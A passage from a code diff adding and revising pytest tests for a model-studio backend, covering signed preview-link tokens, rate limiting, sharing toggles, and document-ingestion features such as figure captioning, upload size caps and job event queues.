"outputs_root", lambda: outputs) + + async def _fake_load(load_req, request, subject): + return None + + async def _fake_chat(payload, request, subject): + captured["payload"] = payload + return {"ok": True} + + monkeypatch.setattr(preview, "load_model", _fake_load) + monkeypatch.setattr(preview, "openai_chat_completions", _fake_chat) + + app = FastAPI() + app.include_router(preview.router, prefix = "/p") + c = TestClient(app, raise_server_exceptions = False) + r = c.post( + f"/p/mergedrun/v1/chat/completions?k={_sig('mergedrun')}", + json = {"messages": [{"role": "user", "content": "hi"}], "use_adapter": False}, + ) + assert r.status_code == 200 + assert captured["payload"].use_adapter is None + + +# ── Streaming lock lifetime ────────────────────────────────────────────────── + + +def test_streaming_holds_lock_until_drained(tmp_path, monkeypatch, captured): + outputs = tmp_path / "outputs" + _make_run(outputs) + from utils.paths import storage_roots as _sr + + monkeypatch.setattr(_sr, "outputs_root", lambda: outputs) + + async def _fake_load_model(load_req, request, subject): + return None + + async def _gen(): + yield b"data: {}\n\n" + yield b"data: [DONE]\n\n" + + async def _fake_chat(payload, request, subject): + return StreamingResponse(_gen()) + + monkeypatch.setattr(preview, "load_model", _fake_load_model) + monkeypatch.setattr(preview, "openai_chat_completions", _fake_chat) + + async def _run(): + assert not preview._preview_lock.locked() + payload = ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}]) + resp = await preview._serve_chat("demorun", None, payload, request = None) + # Lock must still be held: a second checkpoint must not swap the backend + # mid-stream. + assert preview._preview_lock.locked() + chunks = [c async for c in resp.body_iterator] + # Released only after the stream fully drains. + assert not preview._preview_lock.locked() + return chunks + + chunks = asyncio.run(_run()) + assert any(b"[DONE]" in c for c in chunks) + assert not preview._preview_lock.locked() + + +# ── Capability gating ──────────────────────────────────────────────────────── + + +def test_chat_without_token_404_and_no_load(client, captured): + r = client.post( + "/p/demorun/v1/chat/completions", + json = {"messages": [{"role": "user", "content": "hi"}]}, + ) + assert r.status_code == 404 + # Verified before any model work: nothing loaded, nothing generated. + assert "load_path" not in captured + assert "payload" not in captured + + +def test_chat_with_invalid_token_404(client, captured): + r = client.post( + "/p/demorun/v1/chat/completions?k=not-a-valid-token", + json = {"messages": [{"role": "user", "content": "hi"}]}, + ) + assert r.status_code == 404 + assert "load_path" not in captured + + +def test_token_for_other_ref_rejected(client, captured): + # A capability minted for a different ref must not unlock demorun. + r = client.post( + f"/p/demorun/v1/chat/completions?k={_sig('otherrun')}", + json = {"messages": [{"role": "user", "content": "hi"}]}, + ) + assert r.status_code == 404 + assert "load_path" not in captured + + +def test_models_without_token_404(client): + assert client.get("/p/demorun/v1/models").status_code == 404 + + +def test_page_without_token_404(client): + assert client.get("/p/demorun").status_code == 404 + + +def test_checkpoint_route_with_valid_sig(client, captured): + # Nested ref: the signed/verified/resolved canonical ref is "run/checkpoint". + sig = _sig("demorun/checkpoint-1") + r = client.post( + f"/p/demorun/checkpoint-1/v1/chat/completions?k={sig}", + json = {"messages": [{"role": "user", "content": "hi"}]}, + ) + assert r.status_code == 200 + assert captured["load_path"].endswith("checkpoint-1") + + +def test_checkpoint_token_does_not_unlock_bare_run(client, captured): + # A token minted for the nested checkpoint must not unlock the run ref. + r = client.post( + f"/p/demorun/v1/chat/completions?k={_sig('demorun/checkpoint-1')}", + json = {"messages": [{"role": "user", "content": "hi"}]}, + ) + assert r.status_code == 404 + assert "load_path" not in captured + + +def test_bearer_token_accepted(client, captured): + # OpenAI-compatible clients pass the capability as the api_key (Bearer header). + r = client.post( + "/p/demorun/v1/chat/completions", + headers = {"Authorization": f"Bearer {_sig('demorun')}"}, + json = {"messages": [{"role": "user", "content": "hi"}]}, + ) + assert r.status_code == 200 + assert captured["load_path"].endswith("demorun") + + +def test_generation_clamp_caps_overrides(client, captured): + r = client.post( + f"/p/demorun/v1/chat/completions?k={_sig('demorun')}", + json = { + "messages": [{"role": "user", "content": "hi"}], + "max_tokens": 999999, + "max_completion_tokens": 888888, + "n": 64, + }, + ) + assert r.status_code == 200 + p = captured["payload"] + assert p.max_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS + assert p.max_completion_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS + assert p.n == 1 + + +def test_generation_clamp_honors_lower_legacy_max_tokens(client, captured): + # A caller asking for fewer tokens via the legacy field must not be bumped up + # to the ceiling: _effective_max_tokens prefers max_completion_tokens, so both + # fields have to carry the lower value. + r = client.post( + f"/p/demorun/v1/chat/completions?k={_sig('demorun')}", + json = {"messages": [{"role": "user", "content": "hi"}], "max_tokens": 16}, + ) + assert r.status_code == 200 + p = captured["payload"] + assert p.max_tokens == 16 + assert p.max_completion_tokens == 16 + + +def test_generation_clamp_honors_lower_completion_tokens(client, captured): + r = client.post( + f"/p/demorun/v1/chat/completions?k={_sig('demorun')}", + json = {"messages": [{"role": "user", "content": "hi"}], "max_completion_tokens": 32}, + ) + assert r.status_code == 200 + p = captured["payload"] + assert p.max_tokens == 32 + assert p.max_completion_tokens == 32 + + +# ── Public-sharing kill switch ─────────────────────────────────────────────── + + +def test_chat_blocked_when_sharing_disabled(client, monkeypatch, captured): + # Admin turned public sharing off: even a valid token 404s, with no model load. + monkeypatch.setattr(preview, "get_preview_sharing_enabled", lambda: False) + r = client.post( + f"/p/demorun/v1/chat/completions?k={_sig('demorun')}", + json = {"messages": [{"role": "user", "content": "hi"}]}, + ) + assert r.status_code == 404 + assert "load_path" not in captured + + +def test_page_blocked_when_sharing_disabled(client, monkeypatch): + monkeypatch.setattr(preview, "get_preview_sharing_enabled", lambda: False) + assert client.get(f"/p/demorun?k={_sig('demorun')}").status_code == 404 + + +# ── Rate limiting ──────────────────────────────────────────────────────────── + + +def test_chat_rate_limited_returns_429(client, monkeypatch): + import utils.preview_rate_limit as rl + + monkeypatch.setattr(rl, "_MAX_REQUESTS", 2) + rl.reset() + url = f"/p/demorun/v1/chat/completions?k={_sig('demorun')}" + body = {"messages": [{"role": "user", "content": "hi"}]} + assert client.post(url, json = body).status_code == 200 + assert client.post(url, json = body).status_code == 200 + r = client.post(url, json = body) + assert r.status_code == 429 + assert r.headers.get("retry-after") diff --git a/studio/backend/tests/test_preview_sharing_settings.py b/studio/backend/tests/test_preview_sharing_settings.py new file mode 100644 index 0000000000..abadaf483c --- /dev/null +++ b/studio/backend/tests/test_preview_sharing_settings.py @@ -0,0 +1,77 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Route-level tests for the preview settings endpoints (rotate + sharing toggle).""" + +from pathlib import Path +import sys +import types as _types + + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +import pytest +from fastapi import FastAPI +from fastapi.testclient import TestClient + +import routes.settings as settings + + +@pytest.fixture +def client(monkeypatch): + # Stub the persistence helpers so the endpoints don't touch the real DBs. + calls: dict = {"enabled": True} + + def _set(value): + calls["set"] = bool(value) + calls["enabled"] = bool(value) + return bool(value) + + monkeypatch.setattr(settings, "get_preview_sharing_enabled", lambda: calls["enabled"]) + monkeypatch.setattr(settings, "set_preview_sharing_enabled", _set) + monkeypatch.setattr( + settings, "rotate_preview_link_secret", lambda: calls.__setitem__("rotated", True) + ) + + app = FastAPI() + app.include_router(settings.router) + app.dependency_overrides[settings.get_current_subject] = lambda: "admin" + return TestClient(app, raise_server_exceptions = False), calls + + +def test_rotate_preview_links(client): + c, calls = client + r = c.post("/preview-links/rotate") + assert r.status_code == 200 + assert r.json() == {"rotated": True} + assert calls.get("rotated") is True + + +def test_get_preview_sharing(client): + c, _ = client + r = c.get("/preview-sharing") + assert r.status_code == 200 + body = r.json() + assert body["enabled"] is True + assert "default_enabled" in body + + +def test_put_preview_sharing_disables(client): + c, calls = client + r = c.put("/preview-sharing", json = {"enabled": False}) + assert r.status_code == 200 + assert r.json()["enabled"] is False + assert calls["set"] is False + + +def test_put_preview_sharing_rejects_non_bool(client): + # Pydantic rejects a non-bool body (422) before the handler runs. + c, _ = client + r = c.put("/preview-sharing", json = {"enabled": "maybe"}) + assert r.status_code == 422 diff --git a/studio/backend/tests/test_preview_token.py b/studio/backend/tests/test_preview_token.py new file mode 100644 index 0000000000..6b0e802864 --- /dev/null +++ b/studio/backend/tests/test_preview_token.py @@ -0,0 +1,75 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Unit + rotation coverage for `/p` preview capability tokens. + +The token turns a guessable preview ref into an unguessable bearer capability: +it must round-trip for the ref it was signed for, reject tampering / wrong refs, +and stop verifying once the signing secret is rotated (link revocation). +""" + +from pathlib import Path +import sys +import types as _types + + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +# Mirror the other preview tests: avoid the heavy real `loggers` handlers. +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +import auth.storage as storage +import utils.preview_token as preview_token + + +_S1 = b"secret-one-aaaaaaaaaaaaaaaaaaaaaaaa" +_S2 = b"secret-two-bbbbbbbbbbbbbbbbbbbbbbbb" + + +def test_sign_verify_roundtrip(monkeypatch): + monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S1) + token = preview_token.sign_preview_ref("run/checkpoint-1") + assert preview_token.verify_preview_ref("run/checkpoint-1", token) + # URL-safe, unpadded, and high-entropy (SHA-256 -> 43 base64url chars). + assert "=" not in token and "/" not in token and "+" not in token + assert len(token) >= 40 + + +def test_missing_or_tampered_token_rejected(monkeypatch): + monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S1) + token = preview_token.sign_preview_ref("demorun") + assert not preview_token.verify_preview_ref("demorun", None) + assert not preview_token.verify_preview_ref("demorun", "") + flipped = token[:-1] + ("A" if token[-1] != "A" else "B") + assert not preview_token.verify_preview_ref("demorun", flipped) + # A token minted for one ref does not unlock another. + assert not preview_token.verify_preview_ref("otherrun", token) + # A non-ASCII token is invalid, not a crash (the route would 500 otherwise). + assert not preview_token.verify_preview_ref("demorun", "tøken-é") + + +def test_secret_change_invalidates_token(monkeypatch): + monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S1) + token = preview_token.sign_preview_ref("demorun") + monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S2) + assert not preview_token.verify_preview_ref("demorun", token) + + +def test_rotation_revokes_links(tmp_path, monkeypatch): + # Exercise the real storage helpers against a throwaway auth.db. + monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") + monkeypatch.setattr(storage, "_preview_link_secret_cache", None) + + token = preview_token.sign_preview_ref("demorun") + assert preview_token.verify_preview_ref("demorun", token) + # Secret persists across calls (the link keeps working until rotated). + assert preview_token.verify_preview_ref("demorun", token) + + storage.rotate_preview_link_secret() + # Old shared link is revoked; a freshly minted one works. + assert not preview_token.verify_preview_ref("demorun", token) + assert preview_token.verify_preview_ref("demorun", preview_token.sign_preview_ref("demorun")) diff --git a/studio/backend/tests/test_rag_captioning.py b/studio/backend/tests/test_rag_captioning.py index 5d83a7d38d..5ae0926990 100644 --- a/studio/backend/tests/test_rag_captioning.py +++ b/studio/backend/tests/test_rag_captioning.py @@ -13,13 +13,15 @@ def _img(page): return ParsedImage(image_bytes = b"\x89PNG fake", page_number = page, xref = page) -def test_caption_images_disabled_by_default(monkeypatch): +def test_caption_images_runs_when_images_present(monkeypatch): + # Policy lives in ingestion (_run); caption_images captions given images + endpoint. monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", False) - assert captioner.caption_images([_img(1)], endpoint = ("http://x", "local")) == {} + monkeypatch.setattr(captioner, "_caption_one", lambda *a: "a chart") + out = captioner.caption_images([_img(1)], endpoint = ("http://x", "local")) + assert out == {1: ["a chart"]} def test_caption_images_groups_by_page(monkeypatch): - monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True) monkeypatch.setattr(captioner.config, "CAPTION_MAX_IMAGES", 8) monkeypatch.setattr(captioner, "_caption_one", lambda base, model, b, t: "a chart of results") out = captioner.caption_images([_img(1), _img(1), _img(3)], endpoint = ("http://x", "local")) @@ -27,7 +29,6 @@ def test_caption_images_groups_by_page(monkeypatch): def test_caption_images_respects_cap(monkeypatch): - monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True) monkeypatch.setattr(captioner.config, "CAPTION_MAX_IMAGES", 2) calls = [] monkeypatch.setattr(captioner, "_caption_one", lambda *a: (calls.append(1) or "cap")) @@ -36,11 +37,186 @@ def test_caption_images_respects_cap(monkeypatch): def test_caption_images_no_endpoint(monkeypatch): - monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True) monkeypatch.setattr(captioner, "vision_endpoint", lambda: None) assert captioner.caption_images([_img(1)]) == {} +def test_caption_runaway_guard_applied(monkeypatch): + # A looping vision model must not flood the index; captions pass _collapse_runaway. + monkeypatch.setattr(captioner, "_caption_one", lambda *a: "\n".join(["LOOP"] * 40)) + out = captioner.caption_images([_img(1)], endpoint = ("http://x", "local")) + assert out[1][0].splitlines().count("LOOP") == 3 # 40 -> 3 + + +def test_caption_prompt_and_token_budget(monkeypatch): + # Caption and OCR keep separate prompts + token caps over the shared _vision_complete. + captured: dict = {} + + def fake_vision_complete(base_url, model, image_bytes, *, prompt, timeout, max_tokens): + captured.update(prompt = prompt, timeout = timeout, max_tokens = max_tokens) + return "ok" + + monkeypatch.setattr(captioner, "_vision_complete", fake_vision_complete) + monkeypatch.setattr(captioner.config, "CAPTION_MAX_TOKENS", 277) + + captioner._caption_one("http://x", "local", b"img", 12.0) + prompt = captured["prompt"].lower() + # Unified prompt: transcribe every label (recall) + axis/legend coverage + describe. + assert "transcribe" in prompt + assert ("axis" in prompt or "axes" in prompt) and "legend" in prompt + assert "do not invent" in prompt + assert captured["max_tokens"] == 277 + assert captured["timeout"] == 12.0 + + captured.clear() + monkeypatch.setattr(captioner.config, "OCR_MAX_TOKENS", 999) + captioner._ocr_one("http://x", "local", b"img", 5.0) + assert captured["max_tokens"] == 999 + assert "transcribe" in captured["prompt"].lower() + + +def test_pages_with_figures_and_tiles(tmp_path): + from core.rag import parsers + + pdf = tmp_path / "fig.pdf" + _figure_pdf(pdf) + pgs = parsers.pages_with_figures(str(pdf), max_pages = 4) + assert pgs == [1] + tiles = parsers.render_pdf_figure_tiles(str(pdf), pgs, rows = 2, cols = 2, fullpage = True) + assert len(tiles) == 5 # full page + 2x2 grid + assert all(t.image_bytes[:8] == b"\x89PNG\r\n\x1a\n" and t.page_number == 1 for t in tiles) + capped = parsers.render_pdf_figure_tiles( + str(pdf), pgs, rows = 2, cols = 2, fullpage = True, max_tiles = 3 + ) + assert len(capped) == 3 # max_tiles budget honored + + +def test_render_pdf_figure_tiles_zero_grid_no_crash(tmp_path): + # A misconfigured rows/cols=0 must clamp to 1, not raise ZeroDivisionError. + import pymupdf + + from core.rag import parsers + + pdf = tmp_path / "blank.pdf" + doc = pymupdf.open() + doc.new_page() + doc.save(str(pdf)) + doc.close() + + out = parsers.render_pdf_figure_tiles(str(pdf), [1], rows = 0, cols = 0, fullpage = True) + assert len(out) == 2 # full page + a single 1x1 tile, no crash + + +def test_pages_with_figures_excludes_given_pages(tmp_path): + # Pages OCR already transcribed (passed as exclude_pages) are skipped; every other + # figure page is still returned for tiling. + import pymupdf + + from core.rag import parsers + + def _draw_chart(page): + shape = page.new_shape() + shape.draw_rect(pymupdf.Rect(60, 140, 540, 520)) + for i in range(8): + shape.draw_line((80, 160 + i * 40), (520, 160 + i * 40)) + shape.finish(color = (0, 0, 0), fill = (0.8, 0.8, 0.9)) + shape.commit() + + pdf = tmp_path / "charts.pdf" + doc = pymupdf.open() + _draw_chart(doc.new_page()) + _draw_chart(doc.new_page()) + doc.save(str(pdf)) + doc.close() + + assert parsers.pages_with_figures(str(pdf), max_pages = 4) == [1, 2] + assert parsers.pages_with_figures(str(pdf), max_pages = 4, exclude_pages = {1}) == [2] + assert parsers.pages_with_figures(str(pdf), max_pages = 4, exclude_pages = {2}) == [1] + + +def test_run_skips_figure_work_without_vision_model( + rag_conn, stub_embeddings, monkeypatch, tmp_path +): + # No vision model -> the whole figure pass (detection + rasterization) is skipped. + from core.rag import parsers + + monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True) + monkeypatch.setattr(captioner, "vision_endpoint", lambda: None) + touched: list[str] = [] + monkeypatch.setattr( + parsers, "pages_with_figures", lambda *a, **k: touched.append("detect") or [] + ) + monkeypatch.setattr( + parsers, "render_pdf_figure_tiles", lambda *a, **k: touched.append("render") or [] + ) + + pdf = tmp_path / "fig.pdf" + _figure_pdf(pdf) + _ingest_with_caption(rag_conn, "t1", pdf, None) # follow config (ON), but no model + assert touched == [] # neither figure detection nor tiling ran + + +def test_vision_complete_sends_auth_header(monkeypatch): + # Direct-stream serves llama-server with --api-key; vision calls must send the bearer. + import httpx + + monkeypatch.setattr( + captioner, "_vision_auth_headers", lambda: {"Authorization": "Bearer secret"} + ) + captured: dict = {} + + class _Resp: + def raise_for_status(self): + pass + + def json(self): + return {"choices": [{"message": {"content": "ok"}}]} + + def fake_post(url, *, json, timeout, headers, trust_env): + captured.update(url = url, headers = headers, trust_env = trust_env) + return _Resp() + + monkeypatch.setattr(httpx, "post", fake_post) + out = captioner._vision_complete( + "http://x", "local", b"img", prompt = "p", timeout = 5.0, max_tokens = 8 + ) + assert out == "ok" + assert captured["headers"] == {"Authorization": "Bearer secret"} + assert captured["trust_env"] is False + + +def test_vision_complete_omits_header_when_unauthenticated(monkeypatch): + # No api-key configured -> no spurious Authorization header on plain llama-server. + import httpx + + monkeypatch.setattr(captioner, "_vision_auth_headers", lambda: None) + captured: dict = {} + + class _Resp: + def raise_for_status(self): + pass + + def json(self): + return {"choices": [{"message": {"content": "ok"}}]} + + def fake_post(url, *, json, timeout, headers, trust_env): + captured["headers"] = headers + captured["trust_env"] = trust_env + return _Resp() + + monkeypatch.setattr(httpx, "post", fake_post) + captioner._vision_complete("http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8) + assert captured["headers"] is None + assert captured["trust_env"] is False + + +def test_merge_page_captions_dedups(): + out = captioner.merge_page_captions({1: ["MatMul\nScale", "Scale\nSoftMax"]}) + text = out[1][0] + assert text.lower().count("scale") == 1 # repeated label from overlapping tiles dropped + assert "MatMul" in text and "SoftMax" in text + + def test_splice_captions_appends_to_right_page(): pages = [Page("body one", 1, 8), Page("body two", 2, 8)] out = captioner.splice_captions(pages, {2: ["a diagram of X"]}) @@ -55,29 +231,6 @@ def test_splice_captions_noop_when_empty(): assert captioner.splice_captions(pages, {}) is pages -def test_render_pdf_figures_detects_drawing(tmp_path): - import pymupdf - - from core.rag.parsers import render_pdf_figures - - pdf = tmp_path / "fig.pdf" - doc = pymupdf.open() - page = doc.new_page() - shape = page.new_shape() - shape.draw_rect(pymupdf.Rect(60, 60, 540, 460)) - for i in range(8): - shape.draw_line((80, 80 + i * 40), (520, 80 + i * 40)) - shape.finish(color = (0, 0, 0), fill = (0.8, 0.8, 0.9)) - shape.commit() - doc.save(str(pdf)) - doc.close() - - figs = render_pdf_figures(str(pdf)) - assert figs, "expected at least one rendered figure region" - assert figs[0].image_bytes[:8] == b"\x89PNG\r\n\x1a\n" - assert figs[0].page_number == 1 - - def test_captioned_text_is_searchable(rag_home, stub_embeddings, monkeypatch): from core.rag import retrieval, store from storage import rag_db @@ -103,3 +256,100 @@ def test_captioned_text_is_searchable(rag_home, stub_embeddings, monkeypatch): finally: conn.close() assert hits, "spliced caption text should be retrievable via lexical search" + + +# ── per-upload caption override (parallels test_rag_ocr_fallback.py) ── + + +def _figure_pdf(path): + """A born-digital PDF: a page with real text (so it is not treated as scanned) + plus a vector drawing region that figure detection picks up as a figure.""" + import pymupdf + + doc = pymupdf.open() + page = doc.new_page() + page.insert_textbox( + pymupdf.Rect(40, 40, 550, 120), + "Quarterly revenue report. The chart below shows the trend.", + fontsize = 11, + ) + shape = page.new_shape() + shape.draw_rect(pymupdf.Rect(60, 140, 540, 520)) + for i in range(8): + shape.draw_line((80, 160 + i * 40), (520, 160 + i * 40)) + shape.finish(color = (0, 0, 0), fill = (0.8, 0.8, 0.9)) + shape.commit() + doc.save(str(path)) + doc.close() + + +def _ingest_with_caption(rag_conn, thread_id, path, caption): + from core.rag import ingestion, store + + scope = store.thread_scope(thread_id) + document_id = store.create_document( + rag_conn, + scope = scope, + filename = "fig.pdf", + sha256 = str(path) + str(caption), + thread_id = thread_id, + status = "pending", + stored_path = str(path), + ) + job_id = ingestion._new_job(rag_conn, document_id, scope) + # _run(job_id, document_id, scope, stored_path, model_name, ocr, caption) + ingestion._run(job_id, document_id, scope, str(path), None, None, caption) + return store.get_document(rag_conn, document_id) + + +def test_caption_override_true_runs_when_config_off( + rag_conn, stub_embeddings, monkeypatch, tmp_path +): + # Config default OFF, but the per-upload toggle (caption=True) forces captioning. + from core.rag import tool + + monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", False) + monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) + monkeypatch.setattr(captioner, "_caption_one", lambda *a: "bar chart of revenue wombat-7") + + pdf = tmp_path / "fig.pdf" + _figure_pdf(pdf) + _ingest_with_caption(rag_conn, "t1", pdf, True) + + text, _ = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) + assert "wombat-7" in text # the spliced figure caption reached the index + + +def test_caption_override_false_skips_when_config_on( + rag_conn, stub_embeddings, monkeypatch, tmp_path +): + # Config default ON, but the per-upload toggle (caption=False) skips captioning. + monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True) + monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) + called = [] + monkeypatch.setattr(captioner, "_caption_one", lambda *a: called.append(1) or "should not run") + + pdf = tmp_path / "fig.pdf" + _figure_pdf(pdf) + _ingest_with_caption(rag_conn, "t1", pdf, False) + + assert called == [] # no vision caption calls despite config ON + + +def test_caption_none_follows_config(rag_conn, stub_embeddings, monkeypatch, tmp_path): + # Omitted override (None) falls back to config.CAPTION_IMAGES. + monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) + seen = [] + monkeypatch.setattr(captioner, "_caption_one", lambda *a: seen.append(1) or "chart caption") + + monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", False) + pdf_off = tmp_path / "off.pdf" + _figure_pdf(pdf_off) + _ingest_with_caption(rag_conn, "t1", pdf_off, None) + assert seen == [] # config OFF + no override -> no captioning + + monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True) + pdf_on = tmp_path / "on.pdf" + _figure_pdf(pdf_on) + _ingest_with_caption(rag_conn, "t2", pdf_on, None) + assert seen # config ON + no override -> captioning runs diff --git a/studio/backend/tests/test_rag_embed_llama_server.py b/studio/backend/tests/test_rag_embed_llama_server.py index 8321068afd..0e1f74cefe 100644 --- a/studio/backend/tests/test_rag_embed_llama_server.py +++ b/studio/backend/tests/test_rag_embed_llama_server.py @@ -373,6 +373,8 @@ def test_ensure_ready_respawns_dead_process(monkeypatch): def fake_spawn(): spawned["n"] += 1 b._process = _FakeProc(alive = True) + # _current() now also checks the served repo, so mark it current. + b._model_repo = config.effective_gguf_repo() monkeypatch.setattr(b, "_spawn", fake_spawn) b._ensure_ready() diff --git a/studio/backend/tests/test_rag_ingestion.py b/studio/backend/tests/test_rag_ingestion.py index f0b71bc23b..7e9e803687 100644 --- a/studio/backend/tests/test_rag_ingestion.py +++ b/studio/backend/tests/test_rag_ingestion.py @@ -83,6 +83,34 @@ def test_ingestion_dedupe_by_hash(rag_home, stub_embeddings, tmp_path): conn.close() +def test_ingestion_reingests_when_existing_has_zero_chunks(rag_home, stub_embeddings, tmp_path): + # A prior ingest of identical bytes that yielded no chunks (e.g. a scanned PDF + # before a vision model loaded) must re-ingest, not dedupe to the empty record. + path = _write(tmp_path, "doc.txt", "alpha bravo charlie " * 50) + sha = ingestion._sha256_file(path) + scope = store.kb_scope("K1") + conn = rag_db.get_connection() + try: + empty_id = store.create_document(conn, scope = scope, filename = "old.txt", sha256 = sha) + store.set_document_status(conn, empty_id, "completed", num_chunks = 0) + finally: + conn.close() + + doc_id, job_id = ingestion.start_ingestion(scope, "K1", None, "doc.txt", path) + events = _drain(job_id) + _wait_completed(job_id) + + assert not any(e.get("deduped") for e in events) # not a dedupe -> real ingest + assert doc_id != empty_id + conn = rag_db.get_connection() + try: + docs = store.list_documents(conn, scope) + assert len(docs) == 1 # the empty record was removed, replaced by the new one + assert docs[0]["num_chunks"] > 0 + finally: + conn.close() + + def test_ingestion_dedupe_removes_duplicate_upload(rag_home, stub_embeddings): from utils.paths import ensure_dir, rag_uploads_root @@ -210,6 +238,41 @@ def test_delete_document_route_removes_stored_upload(rag_home): conn.close() +def test_get_job_status_includes_num_chunks(rag_home, stub_embeddings, tmp_path): + # The poll/reconcile path reads num_chunks from get_job_status (the SSE complete + # frame carries it, but a client that falls back to polling needs it here too). + path = _write(tmp_path, "doc.txt", "alpha bravo charlie " * 50) + scope = store.kb_scope("K1") + _doc_id, job_id = ingestion.start_ingestion(scope, "K1", None, "doc.txt", path) + _drain(job_id) + _wait_completed(job_id) + status = ingestion.get_job_status(job_id) + assert status["status"] == "completed" + assert status["num_chunks"] and status["num_chunks"] > 0 + + +def test_save_upload_rejects_oversize_file(rag_home, monkeypatch): + # A file over the cap is rejected (413) and its partial bytes are cleaned up. + import io + + from fastapi import HTTPException + + from core.rag import config + from routes import rag as rag_routes + from utils.paths import rag_uploads_root + + monkeypatch.setattr(config, "MAX_UPLOAD_BYTES", 1024) + + class _Up: + filename = "big.txt" + file = io.BytesIO(b"x" * 4096) + + with pytest.raises(HTTPException) as ei: + rag_routes._save_upload(_Up()) + assert ei.value.status_code == 413 + assert list(rag_uploads_root().glob("*.txt")) == [] # partial upload removed + + def test_ingestion_delete_removes_all_rows(rag_home, stub_embeddings, tmp_path): path = _write(tmp_path, "doc.txt", "alpha bravo charlie delta") scope = store.kb_scope("K1") diff --git a/studio/backend/tests/test_rag_job_events_queue_lifecycle.py b/studio/backend/tests/test_rag_job_events_queue_lifecycle.py new file mode 100644 index 0000000000..0eb115c562 --- /dev/null +++ b/studio/backend/tests/test_rag_job_events_queue_lifecycle.py @@ -0,0 +1,114 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""job_events keeps the per-job queue registered only while the worker runs. + +``_emit()`` writes to ``_jobs[job_id]`` while the worker runs; if an early SSE +disconnect removed that queue, later events would be dropped and a reconnect +would see only ``[DONE]`` and mark a running job complete. So keep it on an early +disconnect of a running job, but drop it on a terminal exit or a disconnect after +the job already finished; ``_reap_finished_jobs`` sweeps any leftovers. +""" + +import queue +import sqlite3 +import sys +from pathlib import Path + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +import core.rag.ingestion as ing + + +def test_early_disconnect_keeps_queue_registered(monkeypatch): + monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01) + # Job is still running; nothing terminal has happened. + monkeypatch.setattr(ing, "get_job_status", lambda _jid: {"status": "running"}) + jid = "job-early-disconnect" + ing._jobs[jid] = queue.Queue() + try: + gen = ing.job_events(jid) + next(gen) # enter loop: Empty -> non-terminal -> heartbeat + gen.close() # client disconnects before the job finishes + assert ( + jid in ing._jobs + ), "queue must survive an early disconnect so the worker can still emit" + finally: + ing._jobs.pop(jid, None) + + +def test_terminal_sentinel_removes_queue(monkeypatch): + monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01) + jid = "job-terminal-sentinel" + q = queue.Queue() + q.put({"type": "progress", "stage": "embedding", "progress": 0.5}) + q.put(None) # worker finished -> sentinel + ing._jobs[jid] = q + try: + events = list(ing.job_events(jid)) # drains progress, then None -> terminal + assert any(e.get("type") == "progress" for e in events) + assert jid not in ing._jobs, "queue must be removed once the job is terminal" + finally: + ing._jobs.pop(jid, None) + + +def test_disconnect_after_terminal_event_removes_queue(monkeypatch): + monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01) + # Worker finished: the DB row is terminal and a complete event is queued. The + # UI reads that event and disconnects (reader.cancel) before the None sentinel, + # so the queue must still drop rather than linger until the next reap. + monkeypatch.setattr(ing, "get_job_status", lambda _jid: {"status": "completed"}) + jid = "job-disconnect-after-complete" + q = queue.Queue() + q.put({"type": "complete", "num_chunks": 3}) + q.put(None) + ing._jobs[jid] = q + try: + gen = ing.job_events(jid) + assert next(gen)["type"] == "complete" # client receives the terminal event + gen.close() # disconnects before draining the sentinel + assert jid not in ing._jobs, "a finished job's queue must drop on disconnect" + finally: + ing._jobs.pop(jid, None) + + +def test_transient_status_read_failure_does_not_end_stream(monkeypatch): + monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01) + # The heartbeat poll hits a momentarily-locked DB. That must not propagate: the + # SSE route would turn the raised error into a terminal {type: error} frame and + # the UI would drop a document whose worker is still running. The stream should + # heartbeat and keep the queue so the worker can finish / a reconnect can resume. + calls = {"n": 0} + + def flaky_status(_jid): + calls["n"] += 1 + if calls["n"] == 1: + raise sqlite3.OperationalError("database is locked") + return {"status": "running"} + + monkeypatch.setattr(ing, "get_job_status", flaky_status) + jid = 